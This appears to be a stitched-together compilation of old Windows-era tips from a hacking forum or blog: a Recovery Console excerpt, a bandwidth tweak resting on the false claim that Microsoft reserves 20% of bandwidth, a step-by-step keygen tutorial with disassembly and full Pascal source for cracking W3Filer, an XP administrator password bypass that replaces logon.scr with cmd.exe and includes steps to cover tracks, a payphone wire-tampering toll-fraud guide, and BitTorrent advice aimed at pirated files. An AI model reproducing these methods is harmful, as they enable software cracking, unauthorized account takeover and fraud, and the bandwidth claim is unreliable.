Mastering The Windows XP Registry

The Recovery Console
The Windows XP Recovery Console is a tool that allows recovery from a number of failures. Previously, all you could do was boot another copy of Windows XP and hack your way around, replacing files, even registry components, in the blind hope that you would somehow fix the problem.
With Windows XP, you have two tools to use: the Recovery Console and the Safe Mode feature.
The Recovery Console is a powerful, simple (no, that's not an oxymoron!) feature that is supplied with Windows XP, but it is not installed by default. The Windows XP Safe Mode works in the same manner as the Safe Mode found in other versions of Windows. You can modify a number of system settings using Safe Mode (such as video modes). Installing the Recovery Console after the system has failed is quite like locking the barn door
after the horse has been stolen—it really won't work that well.

Installing the Recovery Console
The Recovery Console must be installed before disaster strikes. It will be difficult (maybe even impossible) to install it after a disaster has reared its ugly head. So, let's install the Recovery Console right now.

First, you must use the Windows XP distribution CD (or share containing the appropriate files, if installing from a network device). The Recovery Console is installed using the winnt32.exe program. The winnt32.exe program is the same program that is used to install Windows XP; however, by selecting the correct option, you are able to tell winnt32.exe to not install Windows XP, but to install the Recovery Console instead.

Note It is not possible to install the Recovery Console at the same time as Windows XP. You must first install Windows XP, then install the Recovery Console. If you have multiple copies of Windows XP installed, it is only necessary to install the Recovery Console one time—the Recovery Console will work with as many copies of Windows XP as are
installed.

Follow these steps to install the Recovery Console from the Windows XP distribution CD:
1. Insert the distribution CD and change into the i386 directory.
2. Run winnt32.exe using the /cmdcons option. Typically, no other options are needed, though some users may wish to specify source options, especially if installing from a network share rather than a hard drive.
3. The installation program contacts Microsoft to check for updates to this Windows XP component.

Figure 2.3: Windows XP's Dynamic Update uses the Internet to retrieve the latest files directly from Microsoft.
4. The winnt32.exe program opens the dialog box shown in Figure 2.4. This dialog box allows you to cancel the installation if you need to. Note that multiple installations of the Recovery Console will simply overwrite previous installations; in such cases, no error is generated.

Figure 2.4: Setting up the Recovery Console using winnt32/cmdcons by passes all other setup options.
5. If there are no errors, the dialog box shown in Figure 2.5 is displayed. The Recovery Console is ready for use at this point.

Figure 2.5: The Recovery console has been successfully installed.

What's in the Recovery Console?

The Recovery Console consists of a minor modification to the boot.ini file, and the addition of a hidden directory on the boot drive. The added directory's name is cmdcons. The change to the boot.ini file is simply the addition of another line providing for a new boot option:
C:\cmdcons\bootsect.dat="Microsoft Windows Recovery console" /cmdcons
This option consists of a fully qualified file name (C:\cmdcons\bootsect.dat), a text description (Microsoft Windows Recovery Console), and a boot option (/cmdcons).
As everyone should be well aware, the Windows XP Boot Manager is able to boot virtually any operating system (assuming that the operating system is compatible with the currently installed file system).

How Windows XP Supports Booting other Operating Systems
Windows XP can be told to "boot" any directory or file location. For example, the Recovery Console is saved in the cmdcons directory. In the cmdcons directory is a 512-byte file named bootsect.dat. Windows XP will treat a file named bootsect.dat exactly as if it were a hard disk's boot sector. In fact, one could, theoretically, copy the bootsect.dat file to a drive's boot sector location and cause that operating system to be booted directly.

One use for this technology is in a multiple-boot configuration where the other operating system or systems are not compatible with Windows NT (such as Windows 95/98/Me).
The Recovery Console does qualify as an operating system, though it is very simple—and limited.
A major question will always be this: is the Recovery Console secure? In most situations, the
Recovery Console is actually quite secure. The user, at startup of the Recovery Console, is prompted for two pieces of information:
• Which Windows XP installation is to be repaired (assuming that there is more than one Windows XP installation!).
• The Administrator's password for that installation. The Recovery Console then uses the installation's SAM to validate this password to ensure the user has the necessary permission to use the system.
A situation comes to mind: if the Administrator's password is lost or otherwise compromised, not only may it be impossible to use the Recovery Console, but anyone with access to the compromised password could modify the system with the Recovery Console. This is not really an issue, though. If the Administrator's password is lost, that's life. It will be difficult, if not impossible, to recover the password. If the security of the Administrator's password is compromised, then it will be necessary to repair the damage—changing the password is mandatory in this case. In either case, the Recovery Console is no less secure than Windows XP is.
The cmdcons directory holds over 100 files.
_________________

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Increase Internet Speed

A nice little tweak for XP Pro. Microsoft reserve 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..)

Here's how to get it back:

Click Start-->Run-->type "gpedit.msc" without the "

This opens the group policy editor. Then go to:

Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable Bandwidth

Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab. I am Quoting it for Reference:

"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."

So the trick is to ENABLE reservable bandwidth, then set it to ZERO.

This will allow the system to reserve nothing, rather than the default 20%.

works on XP Pro, and 2000





I tried it and it is fantastic. try it...

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How to modify *.exe files

learn how to change *.exe files, in 5 easy steps:

1) Don't try to modify a prog by editing his source in a dissasembler.Why?
Cause that's for programmers and assembly experts only.

try to view it in hex you'll only get tons of crap you don't understand.
First off, you need Resource Hacker(last version). It's a resource editor-
very easy to use, You can download it at h**p://www.users.on.net/johnson/resourcehacker/

2) Unzip the archive, and run ResHacker.exe. You can check out the help file too


3) You will see that the interface is simple and clean. Go to the menu FileOpen or press Ctrl+O to open a file. Browse your way to the file you would like to edit. You can edit *.exe, *.dll, *.ocx, *.scr and *.cpl files, but this tutorial is to teach you how to edit *.exe files, so open one.

4) In the left side of the screen a list of sections will appear.
The most common sections are
-String table;
-RCData;
-Dialog;
-Cursor group;
-Bitmap;
-WAV.
*Icon: You can wiew and change the icon(s) of the program by double-clicking the icon section,chossing the icon, right-clicking on it an pressing "replace resource". After that you can choose the icon you want to replace the original with.
*String table: a bunch of crap, useful sometimes, basic programming knowladge needed.
*RCData: Here the real hacking begins. Modify window titles, buttons, text, and lots more!
*Dialog:Here you can modify the messages or dialogs that appear in a program. Don't forget to press "Compile" when you're done!
*Cursor group: Change the mouse cursors used in the program just like you would change the icon.
*Bitmap: View or change images in the programs easy!
*WAV:Change the sounds in the prog. with your own.


5) In the RCData,Dialog,Menu and String table sections you can do a lot of changes. You can modify or translate the text change links, change buttons, etc.


TIP: To change a window title, search for something like: CAPTION "edit this".
TIP: After all operations press the "Compile Script" button, and when you're done editing save, your work @ FileSave(Save as).
TIP: When you save a file,the original file will be backed up by default and renamed to Name_original and the saved file will have the normal name of the changed prog.
TIP: Sometimes you may get a message like: "This program has a non-standard resource layout... it has probably been compressed with an .EXE compressor." That means that Resource Hacker can't modify it because of it's structure.

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How to make key generators ?

-===========================-
Introduction
------------
I take no responsibility of the usage of this information.
This tutorial, is for educational knowledge ONLY.
Hi there, in this tutorial, I intend to teach you how to make a pretty
simple keygen, of a program called W3Filer 32 V1.1.3.
W3Filer is a pretty good web downloader...
I guess some of you might know the program.
I`ll assume you know:
A.How to use debugger (in this case, SoftIce).
B.How to crack, generally (finding protection routines,patching them,etc...).
C.How to use Disassembler (This knowledge can help).
D.Assembly.
E.How to code in Turbo Pascal ™.
Tools you`ll need:
A.SoftIce 3.00/01 or newer.
B.WD32Asm. (Not a must).
C.The program W3Filer V1.13 (if not provided in this package), can be found in
www.windows95.com I believe.
D.Turbo Pascal (ANY version).
Well, enough blah blah, let's go cracking...
Run W3Filer 32.
A nag screen pops, and , demands registration (Hmm, this sux ;-)) Now,
We notice this program has some kind of serial number (Mine is 873977046),
Let's keep the serial in mind, I bet we`ll meet it again while we're on
the debugger.
Well, now, let's put your name and a dummy reg code...
set a BP on GetDlgItemTextA, and, press OK.
We pop inside GetDlgItemTextA, Lets find the registration routine...
I`ll save you the work, the registration routine is this:
:00404DB2 8D95A8FAFFFF lea edx, dword ptr [ebp+FFFFFAA8]
:00404DB8 52 push edx ---> Your user name here.
:00404DB9 E80B550000 call 0040A2C9 ---> Registration routine.
:00404DBE 83C408 add esp, 00000008 ---> Dunno exactly what is it.
:00404DC1 85C0 test eax, eax ---> Boolean identifier, 0 if
:00404DC3 7D17 jge 00404DDC ---> registration failed, 1 if
OK.
Well, Let's enter the CALL 40A2C9, and see what's inside it:
(Please read my comments in the code).
* Referenced by a CALL at Addresses:
|:00404DB9 , :00407F76
|
:0040A2C9 55 push ebp
:0040A2CA 8BEC mov ebp, esp
:0040A2CC 81C4B0FEFFFF add esp, FFFFFEB0
:0040A2D2 53 push ebx
:0040A2D3 56 push esi
:0040A2D4 57 push edi
:0040A2D5 8B5508 mov edx, dword ptr [ebp+08]
:0040A2D8 8DB500FFFFFF lea esi, dword ptr [ebp+FFFFFF00]
:0040A2DE 33C0 xor eax, eax
:0040A2E0 EB16 jmp 0040A2F8
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A2FB©
|
:0040A2E2 0FBE0A movsx ecx, byte ptr [edx] ----> Here Starts the
interesting part.
:0040A2E5 83F920 cmp ecx, 00000020 ----> ECX is the the current
char in the user name, Hmm, 20h=' '...
:0040A2E8 740D je 0040A2F7 ----> Let's see,
:0040A2EA 8A0A mov cl, byte ptr [edx] ----> Generally, all this loop
does, is copying
the user name from
[EDX], to [ESI], WITHOUT the spaces!
(Keep this in mind! ).
:0040A2EC 880C06 mov byte ptr [esi+eax], cl
:0040A2EF 42 inc edx
:0040A2F0 40 inc eax
:0040A2F1 C6040600 mov byte ptr [esi+eax], 00
:0040A2F5 EB01 jmp 0040A2F8
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A2E8©
|
:0040A2F7 42 inc edx
* Referenced by a (U)nconditional or ©onditional Jump at Addresses:
|:0040A2E0(U), :0040A2F5(U)
|
:0040A2F8 803A00 cmp byte ptr [edx], 00
:0040A2FB 75E5 jne 0040A2E2 ----------------> This is the loop , we got
what it does,
Let's continue tracing
the code...
:0040A2FD 56 push esi --------> The user name is pushed, in order
to
Upcase it's chars.
* Reference To: USER32.CharUpperA, Ord:0000h
|
:0040A2FE E80F330000 Call User!CharUpper ---> After this, our name is in
upper case.
:0040A303 56 push esi -----> Our name in upper case here.
* Reference To: cw3220mt._strlen, Ord:0000h
|
:0040A304 E86F300000 Call 0040D378 ---> This is the length of our name.
:0040A309 59 pop ecx
:0040A30A 8BC8 mov ecx, eax ---> ECX=Length.
:0040A30C 83F904 cmp ecx, 00000004 ---> Length>=4 (MUST).
:0040A30F 7D05 jge 0040A316 ---> Let's go to this address...
:0040A311 83C8FF or eax, FFFFFFFF
:0040A314 EB67 jmp 0040A37D
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A30F©
|
:0040A316 33D2 xor edx, edx
:0040A318 33C0 xor eax, eax
:0040A31A 3BC8 cmp ecx, eax
:0040A31C 7E17 jle 0040A335 ---> (Not important, just another useless
checking).
===================================================================================
============ FROM HERE AND ON, THE IMPORTANT CODE, PAY ATTENTION ==================
===================================================================================
One thing before we continue, EDX = 00000000h as we enter to the next instructions.
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A333©
|
:0040A31E 0FBE1C06 movsx ebx, byte ptr [esi+eax] ---> EBX <--- char in user
name, offset EAX.
:0040A322 C1E303 shl ebx, 03 -----> Hmm, it shl's the char by 03h...
(Remember that).
:0040A325 0FBE3C06 movsx edi, byte ptr [esi+eax] ---> Now EDI <--- Char in
user name , offset EAX.
:0040A329 0FAFF8 imul edi, eax -----> It multiplies the char by the
offset in user name! (Remember that).
:0040A32C 03DF add ebx, edi -----> Adds the result to EBX (That was
Shelled (Ding Dong =)).
:0040A32E 03D3 add edx, ebx -----> EDX=EDX+EBX!!! - This is the CORE
of this registration routine!!!
:0040A330 40 inc eax -----> Increase EAX by one (next char).
:0040A331 3BC8 cmp ecx, eax
:0040A333 7FE9 jg 0040A31E ----> If ECX<EAX then, we leave the
loop.
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A31C©
|
:0040A335 A120674100 mov eax, dword ptr [00416720] ---> HMMMMMM, What's in
here?????
:0040A33A C1F803 sar eax, 03 ---------> WAIT! Please type in SIce '?
EAX'
Does this number in EAX look
familiar to us? ;-)
If you still don`t understand,
than, It's
our SERIAL NUMBER! (PLEASE, take
your time, and check by
yourself - don`t trust me!). OK,
so now we know,
That it SHR's EAX by 03 (SAR is
almost identical to SHR).
:0040A33D 03D0 add edx, eax ---------> Hmm, it adds the result from the
loop, the serial number shr'd by 03h
:0040A33F 52 push edx -------> Let's continue. (At this point, I
can tell you , the reg number, is
in EDX - only that the reg number
is in HEX --> That's how you enter it).
* Possible StringData Ref from Data Obj ->"%lx"
|
:0040A340 685EF54000 push 0040F55E
:0040A345 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0040A34B 52 push edx
* Reference To: USER32.wsprintfA, Ord:0000h
|
:0040A34C E8E5320000 Call 0040D636 -------> This one, does HEX2STR (Takes
the value from EDX, and turns it to an hex string).
:0040A351 83C40C add esp, 0000000C
:0040A354 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0] -----> type 'd ecx' -
THIS is the reg number! That's enough for us, the rest of
the code, is
just for comparing the correct reg code with ours.
:0040A35A 51 push ecx
* Reference To: USER32.CharLowerA, Ord:0000h
|
:0040A35B E8B8320000 Call 0040D618
:0040A360 8D85B0FEFFFF lea eax, dword ptr [ebp+FFFFFEB0]
:0040A366 50 push eax
:0040A367 FF750C push [ebp+0C]
* Reference To: cw3220mt._strcmp, Ord:0000h
|
:0040A36A E875300000 Call 0040D3E4
:0040A36F 83C408 add esp, 00000008
:0040A372 85C0 test eax, eax
:0040A374 7405 je 0040A37B
:0040A376 83C8FF or eax, FFFFFFFF
:0040A379 EB02 jmp 0040A37D
* Referenced by a (U)nconditional or ©onditional Jump at Address:
|:0040A374©
|
:0040A37B 33C0 xor eax, eax
* Referenced by a (U)nconditional or ©onditional Jump at Addresses:
|:0040A314(U), :0040A379(U)
|
:0040A37D 5F pop edi
:0040A37E 5E pop esi
:0040A37F 5B pop ebx
:0040A380 8BE5 mov esp, ebp
:0040A382 5D pop ebp
:0040A383 C3 ret
Making the actual Keygen
~~~~~~~~~~~~~~~~~~~~~~~~
Now, after I've explained how does the program calculate the registration
code, you can either write your own keymaker, without looking at my code, or
look at my code (in Turbo Pascal - sorry for all you C lovers ;-) Next time).
That's it, here's the source of my keygen:
------------------- Cut here ---------------------------------------------
Program W3FilerKeygen;
var
Key,SerialNum,EB,ED,digit:Longint;
I,x:Byte;
Name,KeyHex:String;
begin
Writeln(' W3Filer32 V1.1.3 Keymaker');
writeln('Cracked by ^pain^ ''97 / Rebels!');
Write('Your Name:'); { Read the name }
readln(Name);
Write('Serial Number:');
readln(SerialNum); {Yes, we need the serial number for the calculation!}
Key:=0;
x:=0;
For I:=1 to length(Name) do
begin
Name[I]:=upcase(Name[i]);
If Name[I]<>' ' then begin
eb:=ord(Name[I]) shl 3; {EB = Name[I] Shl 03h}
Ed:=ord(Name[I]); {ED = Name[I]}
ed:=ed*(x); {ED=ED*Offset}
inc(x);
eb:=eb+ed; {Add ED to EB}
Key:=Key+EB; {Add EB to KEY}
end;
end;
Key:=Key+(SerialNum shr 3); { Add SerialNum shr 03h to Key}
{ From here, this is just HEX2STRING --> I`m quite sure it's
Self explaintory, else - go and learn number bases again! ;-)}
KeyHex:='';
repeat
digit:=Key mod 16;
key:=key div 16;
If digit<10 then KeyHex:=Chr(Digit+ord('0'))+KeyHex;
If digit>10 then KeyHex:=Chr(Digit-10+ord('a'))+KeyHex;
until key=0;
writeln('Your Key:',KeyHex);
writeln(' Enjoy!');
end.
Posted By Amit

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How to Hack a Window XP Administrator Password

Look at the link below for an updated version of the Post
How to Hack or Crack a Windows XP Administrator Password
(Before you continue Read the Updates at the bottom)
This is only for educational purpose it is a simple way to Hack the Window XP Administrator Password and also get away with it. To Hack the Window XP Administrator Password not many steps are involved especially if you already have a knowleged of working with the DOS prompt.

Here are the steps involved to Hack the Window XP Administrator Password .

Go to Start –> Run –> Type in CMD
You will get a command prompt. Enter these commands the way it is given
cd\
cd\ windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit
Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary

 directory called mkdir. After which you are copying or backing up the logon.scr cmd.exe files into the mkdir then you are
 deleting the logon.scr file and renaming cmd.exe file to logon.scr. and

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings
 so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter
this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP
Administrator Password and do whatever you want to do.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.

Go to Start –> Run –> Type in CMD
You will get a command prompt. Enter these commands the way it is given
cd\
cd\ windows\system32\temphack
copy logon.scr C:\windows\system32\logon.scr
copy cmd.exe C:\windows\system32\cmd.exe
exit
Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to
overwrite the modified files.

Thanks to internetbusinessdaily.net

Posted By Amit

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How To Make Free Phone Calls

 Have you ever got stuck some ware and just about 6'ft away from you there is a pay phone, but yet you dont have any change(=( bummer) to call your famaly members or some one to come and pick you up(hehe that sux)?

Well im going to show you some thing that might get you arrested(shit now what) or it might get you home( now thats what im talking about!)its a chance that you have to take depends were are you.

Ok now before we go on let me let you know that this is not thateasy to do, but anyways lets start. A pay phone is not like a regular home phone. A pay phone runs through a diffrent amount of electricity and wires even the electricity flow is diffrent, Well anyways that is enoght of electrical talk lets get to the good part.

Ok to get free call's on a pay phone you will frist have to twist the phone wire just about 50 to 60 times then you will pull on the phonewire untill the metal part crackes off phone keep doing it if the metalpart is completely off the phone....
Now assuming that it is off you willsee a few colored wires in side the metal wire of the pay phone there should be a black, red, yellow one in side it and a really metallthick one in the middle(NOTE that some phone has diffrent colored wires)now the one wire that we are looking for is the black one. Now here ishow its done.. rip off the plastic of that wire(you can take it out with your teeth, you wont get electricuted =) hehe ).

Now assuming that you have taken apart the plastic off the wire(does not has to be all of it)now you will take that wire and aply it to the phone with the metal part of the phone touching the wire that you ripped off its plastic.. if you are aplying it correctly then you should here a static on the phone.. so make sure you have that phone on your ear.. now with the wire being aplyed to the phone(the metal part right next tothe buttons)Dial the number that you wish to call.. onces you hear it ringing then you can let go of the wire that you was applying.. and BINGO... say hello to mami and daddy for me =).. welp that is all enjoy your call.. ohh and by the wayyes this also comes with long distance hehe, and no! you can not use it to logg on to aol... Peace.

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Downloading files with bittorrent

After you have installed a bittorrent client from the list above, go to btsites.tk and visit one of the many bittorrent download sites listed there.


When you find a file you want on one of those sites, click on the link to start downloading. Make sure that you pick a file that is seeded, meaning that at least 1 person has the complete file and is uploading it, this is usually displayed on the site/tracker you downloaded the .torrent file from).


Usually, after clicking the download link, your bittorrent client will start the torrent and you will start to download the file you want.


Alternatively, you may be asked if you want to open the (torrent) file or save it to disk. Opening the file will start your bittorrent client and your download, saving to disc will download the small .torrent file (= text file) to your computer where you can open it with your bittorrent client and start downloading the file you want, or keep the .torrent file for later use. Saving the torrent to disc is recommended, if you're not given a choice to either save or open the .torrent file, rightclick on the download link and then select 'save target as' and save the .torrent file to your computer that way.


Soon after you start to download, you'll start to upload the pieces of the file you've just downloaded (bittorrent cuts the file you download into 2 Mb pieces for better transfer of the files). Don't set your upload speed too low, but also not to high because this will interfere with your download speed. Set your uploadspeed 10% under your maximum upload speed for best results. The faster you upload to others, the faster others will upload to you, that's the way bittorrent works.


When you are finished downloading the file you want, don't close the torrent down but let it upload at least until you have uploaded as much as you have downloaded.


Example:


You have downloaded a 700 Mb movie, but your download speed is much higher than your upload speed so when you are finished downloading, you have only uploaded 200 Mb. Don't close the torrent down but keep it open and uploading until you have reached 700 Mb upload. This is very important to keep the torrent alive so more people can download it and seed it after you have uploaded your 700 Mb.






Bittorrent terminology


1. Seeder: Someone who makes the torrent, puts it on a tracker/website and uploads the file with bittorrent to the downloaders. Or someone who has completely downloaded a file and is now only uploading that file, this is called seeding.


2. Leecher: Someone who is downloading a file but hasn't finished it yet.


3. Reseed: If someone seeds a torrent again after they had already finished and closed it earlier. This is done when a torrent has leechers, but no seeder. It's a great way to help out the community. It reactivates the torrent so others can now finish their download and then seed.


If you want to reseed a file, just start the torrent again and download the file to the same directory on your PC where you have your complete copy. Bittorrent will then check your existing data, find that you already have the complete file and then you'll just upload (seed).


4. Tracker: An application run by a webmaster of a bittorrent site. It regulates the up and downloads of the torrents which use the tracker's announce url. Basically it keeps track of who has or needs a certain file, with that info the users bittorrent clients can connect to eachother and exhange data (download/upload files).


5. Announce url: The website address your bittorrent client uses to connect to a tracker in order to get peer data (ie. http://example.no-ip.com:6969/announce), when you make a torrent, make sure you use the announce url of the site you want to upload your torrent to.


6. Peer: Someone who is uploading and/or downloading a torrent (seeders and leechers).


7. Swarm: All the seeders and leechers on a single torrent.


8. Hit 'n run: Closing down your torrent immediatly after you finish your download, this is very selfish and can and will get you banned from many sites. To avoid getting banned, try to always seed to 1:1 ratio (upload as much MB as you have downloaded from a certain torrent) and keep uploading at least a few hours after you have completely finished downloading your file.


9. Torrent: Small text file that points to a certain tracker and a certain file for downloading with bittorrent.






Tips, info & tricks:


Resume download


If you pc or bittorrent client crashes in the middle of a download, don't worry, you can resume your download by restarting the torrent and downloading to the same folder on your pc as you did the first time. Your bittorrent client will then check the data you already have downloaded and resume where it stopped the last time.


Errors


Ignore the errors: 'failed to connect to tracker' and 'timed out' and alike, this is usually due to the tracker being very busy so your bittorrent client can't connect to the tracker, your bittorrent client will try to connect to the tracker every couple of minutes so wait a bit till it tried a couple of times (you can also try a manual announce, see below). Only worry if the error reads something like 'rejected...' or 'unknown' or when your download doesn't start at all, then you might have to look elsewhere for the file.


Manual announce


Trackers are usually very busy so sometimes your bittorrent client fails to connect to the tracker server, which gives an error. With the manual announce you can order your bittorrent client to connect to the tracker and get new peer information (it's a bit like the refresh button in Internet Explorer, dont use it unless you need it tho, it puts extra strain on the tracker). Look for the option in your client or on your clients website.


Tracker down


With a well-seeded torrent you only have to connect once to the tracker to get enough info on other peers to complete your download, so when a tracker goes down while you are downloading a torrent, dont close the torrent down because you have a very good chance of finishing it without the tracker's help. You can't (re)start a torrent when the tracker is down. (note that login/signup sites with ratio systems don't count your uploaded/downloaded Mb's when their tracker is down).


Distributed copies


Most torrent clients display the number of 'distributed copies'. When that number is above 1 it means that the complete file is distributed among the leechers. Now when there is no seeder for a file with more than 1 distributed copy, the leechers still can finish their download, because all the leechers together have all the parts to make the complete file so they can download these from each other and finish their download.


Downloading parts of a torrent


Sometimes you find a torrent with a collection of albums, tv episodes or apps. You however, only want one particular album, episode or app from that collection and not all of it. Most advanced clients (ie. Azureus, ABC, Bitcomet, Bittornado) have the option to select which file you want to download and which one you don't. In your client, find the list of files in the torrent, then select the files you don't want to download and tell your client not to download them, usually by rightclicking the file and setting the file's priority to 'do not download' (see your clients website for details if you can't find it). Hold Shift and use up/down arrows (or your mouse) to select multiple files)


Ratio systems


A lot of good sites use a ratio system to make sure that every member uploads at least as much as they have downloaded. Everyone is expected to try to maintain an upload/download ratio of 1:1, failing to do so will get you banned from that website. Read the website's Rules, some sites have other rules then other sites.


New users may want to start off downloading a file with 1 or a few seeders and a lot of leechers, then when you have downloaded 5-10% of the file, limit your download speed to a little less then your maximum upload speed, check your client for those options. This way you will upload as much as you download, your ratio will be around 1:1 and your stay at the website is save, it may take a bit longer to download the file but that's just the way it is. It will take some time and patience to overcome the ratio problem and the wait time problem, but it's worth the wait and trouble! You might even consider downloading a file you actually don't want, but that does have the before mentioned conditions, just to get a good start on the site.


Recommended files to start off with are dvdr's, console games and pr0n. Try to immediately get a ratio of above 1:1, so 1:1.5 or 1:2, that way you'll have a buffer for the future. Don't upload too much tho, whatever you upload above 1:1 takes away from somebody elses effords to reach a 1:1 ratio. (some sites will even ban you for seeding too much :/ ). Read the site's FAQ to see how long you'll have to deal with wait times, those are usually connected to your uploaded amount, ratio and membership period. Try to upload enough to get rid of the wait times as soon as possible.


Most new files are uploaded to a lot of sites, so if you are member on 1 site and have a good ratio there, you can download a new file there and then seed that same file on a new site you signed up to or on a site where you have a bad ratio. Go for the latest movies/games. When you have downloaded the file from site 1, go to site 2 and check what format the file is in over there, sometimes it's rar files, sometimes image files or avi/mpg files. Make sure you have the same file format, so unrar if needed (making rars prolly won't work tho). Start the torrent from site 2, wait till you have connected to the tracker and other peers and then stop the torrent. Your bittorrent client has now created the folder where the file would be downloaded. Copy your complete files to the new folder overwriting the existing data, make sure you put the correct files in the correct folders. Then resume/restart your download, your bittorrent client will now check your existing data and find that you have the complete file (sometimes 99.5% or something because you are missing the sample or some other file but that doesnt matter, you'll download the missing 0.5% in no time) and you'll start uploading, raising your ratio and securing your stay on the site. Make sure you have the same files or you might corrupt your own files, or make a copy of them first.

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